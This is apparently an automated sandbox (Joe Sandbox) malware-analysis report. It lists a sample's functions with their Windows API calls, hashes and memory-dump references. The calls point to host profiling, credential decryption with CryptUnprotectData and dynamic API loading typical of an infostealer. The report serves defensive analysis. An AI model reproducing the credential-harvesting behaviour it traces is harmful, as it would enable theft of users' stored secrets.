Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 66d60deaec0a4389b0ef9850b40e0b7e80ac6410fb1ed9c4bb3896b766fa60d3
Instruction ID: a750cbfb4da883598d60873eed5285a25e3e13144a7e776aeaa32d254ae31fcf
Opcode Fuzzy Hash: 66d60deaec0a4389b0ef9850b40e0b7e80ac6410fb1ed9c4bb3896b766fa60d3
Instruction Fuzzy Hash: 2C11C9B8A00209EFDB04DF94D985BAE77B9FF89301F104598E915A7390D770AE10CFA2

Function 00A078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07910
RtlAllocateHeap.NTDLL(00000000), ref: 00A07917
GetComputerNameA.KERNEL32(?,00000104), ref: 00A0792F

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 60735aca8090dfbaef26c0b76bc7fe3a8752a9d1bbc032db082dda33807ee463
Instruction ID: a9cf0668ea5c1984ccf3dc1b775e4dcde51d81f989b7bb97ebd24dde6258151e
Opcode Fuzzy Hash: 60735aca8090dfbaef26c0b76bc7fe3a8752a9d1bbc032db082dda33807ee463
Instruction Fuzzy Hash: A00181B1A04208EBC740DF98DD45FAEBBB8FB04B61F10421AFA55E32C0C37469048BA2

Function 00A07850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009F11B7), ref: 00A07880
RtlAllocateHeap.NTDLL(00000000), ref: 00A07887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A0789F

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 5be0d07b70dee102100a0390c1e615b63bc3fe5bcbd8e84b7ad6c1f467abd1de
Instruction ID: 2a9da86e0aa816a5b89401d59db04029a7ab0f6748d3765650e0369fdfb1c93c
Opcode Fuzzy Hash: 5be0d07b70dee102100a0390c1e615b63bc3fe5bcbd8e84b7ad6c1f467abd1de
Instruction Fuzzy Hash: FAF04FB2D44208ABC700DF98DD49BAEFBB8FB05721F10065AFA05A26C0C77415048BA2

Function 009F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 009F116A
ExitProcess.KERNEL32 ref: 009F117E

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 2b7542e2e174d9b89b7cd062e9a2b9be20cf12e1e452fc0bfd57b9d710c70d8b
Instruction ID: 6129c109d3082eae0600f6171e0a96d10f0e587a9bfae330807a6d919d41788a
Opcode Fuzzy Hash: 2b7542e2e174d9b89b7cd062e9a2b9be20cf12e1e452fc0bfd57b9d710c70d8b
Instruction Fuzzy Hash: C7D05E7490430CDBCB00DFE0D8897EDBB78FB0D321F000555D90562340EA3154A1CBA6

Function 00A09C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,014C61B8), ref: 00A09C2D
GetProcAddress.KERNEL32(76210000,014C6178), ref: 00A09C45
GetProcAddress.KERNEL32(76210000,014D9040), ref: 00A09C5E
GetProcAddress.KERNEL32(76210000,014D8FF8), ref: 00A09C76
GetProcAddress.KERNEL32(76210000,014D8FE0), ref: 00A09C8E
GetProcAddress.KERNEL32(76210000,014DC918), ref: 00A09CA7
GetProcAddress.KERNEL32(76210000,014CA788), ref: 00A09CBF
GetProcAddress.KERNEL32(76210000,014DC9D8), ref: 00A09CD7
GetProcAddress.KERNEL32(76210000,014DCB70), ref: 00A09CF0
GetProcAddress.KERNEL32(76210000,014DC8E8), ref: 00A09D08
GetProcAddress.KERNEL32(76210000,014DCB28), ref: 00A09D20
GetProcAddress.KERNEL32(76210000,014C62B8), ref: 00A09D39
GetProcAddress.KERNEL32(76210000,014C62D8), ref: 00A09D51
GetProcAddress.KERNEL32(76210000,014C6018), ref: 00A09D69
GetProcAddress.KERNEL32(76210000,014C6198), ref: 00A09D82
GetProcAddress.KERNEL32(76210000,014DCA08), ref: 00A09D9A
GetProcAddress.KERNEL32(76210000,014DCAC8), ref: 00A09DB2
GetProcAddress.KERNEL32(76210000,014CA7B0), ref: 00A09DCB
GetProcAddress.KERNEL32(76210000,014C61D8), ref: 00A09DE3
GetProcAddress.KERNEL32(76210000,014DC930), ref: 00A09DFB
GetProcAddress.KERNEL32(76210000,014DCB40), ref: 00A09E14
GetProcAddress.KERNEL32(76210000,014DC8D0), ref: 00A09E2C
GetProcAddress.KERNEL32(76210000,014DCB58), ref: 00A09E44
GetProcAddress.KERNEL32(76210000,014C6078), ref: 00A09E5D
GetProcAddress.KERNEL32(76210000,014DCB88), ref: 00A09E75
GetProcAddress.KERNEL32(76210000,014DC8A0), ref: 00A09E8D
GetProcAddress.KERNEL32(76210000,014DCA20), ref: 00A09EA6
GetProcAddress.KERNEL32(76210000,014DC960), ref: 00A09EBE
GetProcAddress.KERNEL32(76210000,014DC8B8), ref: 00A09ED6
GetProcAddress.KERNEL32(76210000,014DC948), ref: 00A09EEF
GetProcAddress.KERNEL32(76210000,014DC900), ref: 00A09F07
GetProcAddress.KERNEL32(76210000,014DC978), ref: 00A09F1F
GetProcAddress.KERNEL32(76210000,014DC990), ref: 00A09F38
GetProcAddress.KERNEL32(76210000,014CFDF8), ref: 00A09F50
GetProcAddress.KERNEL32(76210000,014DCA98), ref: 00A09F68
GetProcAddress.KERNEL32(76210000,014DC9A8), ref: 00A09F81
GetProcAddress.KERNEL32(76210000,014C62F8), ref: 00A09F99
GetProcAddress.KERNEL32(76210000,014DCA50), ref: 00A09FB1
GetProcAddress.KERNEL32(76210000,014C6278), ref: 00A09FCA
GetProcAddress.KERNEL32(76210000,014DC9C0), ref: 00A09FE2
GetProcAddress.KERNEL32(76210000,014DC9F0), ref: 00A09FFA
GetProcAddress.KERNEL32(76210000,014C6098), ref: 00A0A013
GetProcAddress.KERNEL32(76210000,014C6398), ref: 00A0A02B
LoadLibraryA.KERNEL32(014DCAB0,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A03D
LoadLibraryA.KERNEL32(014DCAE0,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A04E
LoadLibraryA.KERNEL32(014DCA38,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A060
LoadLibraryA.KERNEL32(014DCA68,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A072
LoadLibraryA.KERNEL32(014DCA80,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A083
LoadLibraryA.KERNEL32(014DCAF8,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A095
LoadLibraryA.KERNEL32(014DCB10,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A0A7
LoadLibraryA.KERNEL32(014DCE58,?,00A05CA3,00A10AEB,?,?,?,?,?,?,?,?,?,?,00A10AEA,00A10AE3), ref: 00A0A0B8
GetProcAddress.KERNEL32(751E0000,014C63B8), ref: 00A0A0DA
GetProcAddress.KERNEL32(751E0000,014DCE70), ref: 00A0A0F2
GetProcAddress.KERNEL32(751E0000,014D8C08), ref: 00A0A10A
GetProcAddress.KERNEL32(751E0000,014DCDB0), ref: 00A0A123
GetProcAddress.KERNEL32(751E0000,014C63D8), ref: 00A0A13B
GetProcAddress.KERNEL32(701C0000,014CA800), ref: 00A0A160
GetProcAddress.KERNEL32(701C0000,014C6578), ref: 00A0A179
GetProcAddress.KERNEL32(701C0000,014CA918), ref: 00A0A191
GetProcAddress.KERNEL32(701C0000,014DCC48), ref: 00A0A1A9
GetProcAddress.KERNEL32(701C0000,014DCD80), ref: 00A0A1C2
GetProcAddress.KERNEL32(701C0000,014C6798), ref: 00A0A1DA
GetProcAddress.KERNEL32(701C0000,014C6758), ref: 00A0A1F2
GetProcAddress.KERNEL32(701C0000,014DCBD0), ref: 00A0A20B
GetProcAddress.KERNEL32(753A0000,014C64D8), ref: 00A0A22C
GetProcAddress.KERNEL32(753A0000,014C6698), ref: 00A0A244
GetProcAddress.KERNEL32(753A0000,014DCC90), ref: 00A0A25D
GetProcAddress.KERNEL32(753A0000,014DCD38), ref: 00A0A275
GetProcAddress.KERNEL32(753A0000,014C67B8), ref: 00A0A28D
GetProcAddress.KERNEL32(76310000,014CA828), ref: 00A0A2B3
GetProcAddress.KERNEL32(76310000,014CA850), ref: 00A0A2CB
GetProcAddress.KERNEL32(76310000,014DCDE0), ref: 00A0A2E3
GetProcAddress.KERNEL32(76310000,014C66F8), ref: 00A0A2FC
GetProcAddress.KERNEL32(76310000,014C6518), ref: 00A0A314
GetProcAddress.KERNEL32(76310000,014CA968), ref: 00A0A32C
GetProcAddress.KERNEL32(76910000,014DCE10), ref: 00A0A352
GetProcAddress.KERNEL32(76910000,014C6418), ref: 00A0A36A
GetProcAddress.KERNEL32(76910000,014D8AD8), ref: 00A0A382
GetProcAddress.KERNEL32(76910000,014DCE88), ref: 00A0A39B
GetProcAddress.KERNEL32(76910000,014DCCD8), ref: 00A0A3B3
GetProcAddress.KERNEL32(76910000,014C6718), ref: 00A0A3CB
GetProcAddress.KERNEL32(76910000,014C6458), ref: 00A0A3E4
GetProcAddress.KERNEL32(76910000,014DCC60), ref: 00A0A3FC
GetProcAddress.KERNEL32(76910000,014DCCA8), ref: 00A0A414
GetProcAddress.KERNEL32(75B30000,014C6438), ref: 00A0A436
GetProcAddress.KERNEL32(75B30000,014DCD08), ref: 00A0A44E
GetProcAddress.KERNEL32(75B30000,014DCBA0), ref: 00A0A466
GetProcAddress.KERNEL32(75B30000,014DCD98), ref: 00A0A47F
GetProcAddress.KERNEL32(75B30000,014DCBB8), ref: 00A0A497
GetProcAddress.KERNEL32(75670000,014C6678), ref: 00A0A4B8
GetProcAddress.KERNEL32(75670000,014C6538), ref: 00A0A4D1
GetProcAddress.KERNEL32(76AC0000,014C6498), ref: 00A0A4F2
GetProcAddress.KERNEL32(76AC0000,014DCCC0), ref: 00A0A50A
GetProcAddress.KERNEL32(6F4E0000,014C6478), ref: 00A0A530
GetProcAddress.KERNEL32(6F4E0000,014C64B8), ref: 00A0A548
GetProcAddress.KERNEL32(6F4E0000,014C65D8), ref: 00A0A560
GetProcAddress.KERNEL32(6F4E0000,014DCDF8), ref: 00A0A579
GetProcAddress.KERNEL32(6F4E0000,014C66D8), ref: 00A0A591
GetProcAddress.KERNEL32(6F4E0000,014C6738), ref: 00A0A5A9
GetProcAddress.KERNEL32(6F4E0000,014C6598), ref: 00A0A5C2
GetProcAddress.KERNEL32(6F4E0000,014C64F8), ref: 00A0A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00A0A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00A0A607
GetProcAddress.KERNEL32(75AE0000,014DCBE8), ref: 00A0A629
GetProcAddress.KERNEL32(75AE0000,014D8B08), ref: 00A0A641
GetProcAddress.KERNEL32(75AE0000,014DCDC8), ref: 00A0A659
GetProcAddress.KERNEL32(75AE0000,014DCC00), ref: 00A0A672
GetProcAddress.KERNEL32(76300000,014C66B8), ref: 00A0A693
GetProcAddress.KERNEL32(6FE20000,014DCE28), ref: 00A0A6B4
GetProcAddress.KERNEL32(6FE20000,014C6618), ref: 00A0A6CD
GetProcAddress.KERNEL32(6FE20000,014DCC78), ref: 00A0A6E5
GetProcAddress.KERNEL32(6FE20000,014DCD20), ref: 00A0A6FD

Strings

InternetSetOptionA, xrefs: 00A0A5E5
HttpQueryInfoA, xrefs: 00A0A5FC

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 5e1384d4b9dd88070c259933f7990c7be75d21334c972c26c5b32721da1ea540
Instruction ID: 8a8852ce053a7a157a048751687a1a37346a1826c3b610bec7108958915b9449
Opcode Fuzzy Hash: 5e1384d4b9dd88070c259933f7990c7be75d21334c972c26c5b32721da1ea540
Instruction Fuzzy Hash: FC623AB5624200AFC344DFA9ED88F6E37F9F79D301714851AA689C32B4D63A9861CF53

Function 009F7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 009F7724
RtlAllocateHeap.NTDLL(00000000), ref: 009F772B
lstrcat.KERNEL32(?,014D9478), ref: 009F78DB
lstrcat.KERNEL32(?,?), ref: 009F78EF
lstrcat.KERNEL32(?,?), ref: 009F7903
lstrcat.KERNEL32(?,?), ref: 009F7917
lstrcat.KERNEL32(?,014DE580), ref: 009F792B
lstrcat.KERNEL32(?,014DE550), ref: 009F793F
lstrcat.KERNEL32(?,014DE658), ref: 009F7952
lstrcat.KERNEL32(?,014DE568), ref: 009F7966
lstrcat.KERNEL32(?,014D9500), ref: 009F797A
lstrcat.KERNEL32(?,?), ref: 009F798E
lstrcat.KERNEL32(?,?), ref: 009F79A2
lstrcat.KERNEL32(?,?), ref: 009F79B6
lstrcat.KERNEL32(?,014DE580), ref: 009F79C9
lstrcat.KERNEL32(?,014DE550), ref: 009F79DD
lstrcat.KERNEL32(?,014DE658), ref: 009F79F1
lstrcat.KERNEL32(?,014DE568), ref: 009F7A04
lstrcat.KERNEL32(?,014D9568), ref: 009F7A18
lstrcat.KERNEL32(?,?), ref: 009F7A2C
lstrcat.KERNEL32(?,?), ref: 009F7A40
lstrcat.KERNEL32(?,?), ref: 009F7A54
lstrcat.KERNEL32(?,014DE580), ref: 009F7A68
lstrcat.KERNEL32(?,014DE550), ref: 009F7A7B
lstrcat.KERNEL32(?,014DE658), ref: 009F7A8F
lstrcat.KERNEL32(?,014DE568), ref: 009F7AA3
lstrcat.KERNEL32(?,014DE890), ref: 009F7AB6
lstrcat.KERNEL32(?,?), ref: 009F7ACA
lstrcat.KERNEL32(?,?), ref: 009F7ADE
lstrcat.KERNEL32(?,?), ref: 009F7AF2
lstrcat.KERNEL32(?,014DE580), ref: 009F7B06
lstrcat.KERNEL32(?,014DE550), ref: 009F7B1A
lstrcat.KERNEL32(?,014DE658), ref: 009F7B2D
lstrcat.KERNEL32(?,014DE568), ref: 009F7B41
lstrcat.KERNEL32(?,014DE8F8), ref: 009F7B55
lstrcat.KERNEL32(?,?), ref: 009F7B69
lstrcat.KERNEL32(?,?), ref: 009F7B7D
lstrcat.KERNEL32(?,?), ref: 009F7B91
lstrcat.KERNEL32(?,014DE580), ref: 009F7BA4
lstrcat.KERNEL32(?,014DE550), ref: 009F7BB8
lstrcat.KERNEL32(?,014DE658), ref: 009F7BCC
lstrcat.KERNEL32(?,014DE568), ref: 009F7BDF
lstrcat.KERNEL32(?,014DE960), ref: 009F7BF3
lstrcat.KERNEL32(?,?), ref: 009F7C07
lstrcat.KERNEL32(?,?), ref: 009F7C1B
lstrcat.KERNEL32(?,?), ref: 009F7C2F
lstrcat.KERNEL32(?,014DE580), ref: 009F7C43
lstrcat.KERNEL32(?,014DE550), ref: 009F7C56
lstrcat.KERNEL32(?,014DE658), ref: 009F7C6A
lstrcat.KERNEL32(?,014DE568), ref: 009F7C7E

Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00A117FC), ref: 009F7606
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00000000), ref: 009F7648
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020, : ), ref: 009F765A
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00000000), ref: 009F768F
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00A11804), ref: 009F76A0
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00000000), ref: 009F76D3
Part of subcall function 009F75D0: lstrcat.KERNEL32(358A9020,00A11808), ref: 009F76ED
Part of subcall function 009F75D0: task.LIBCPMTD ref: 009F76FB

lstrcat.KERNEL32(?,014DEA38), ref: 009F7E0B
lstrcat.KERNEL32(?,014DD428), ref: 009F7E1E
lstrlen.KERNEL32(358A9020), ref: 009F7E2B
lstrlen.KERNEL32(358A9020), ref: 009F7E3B

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
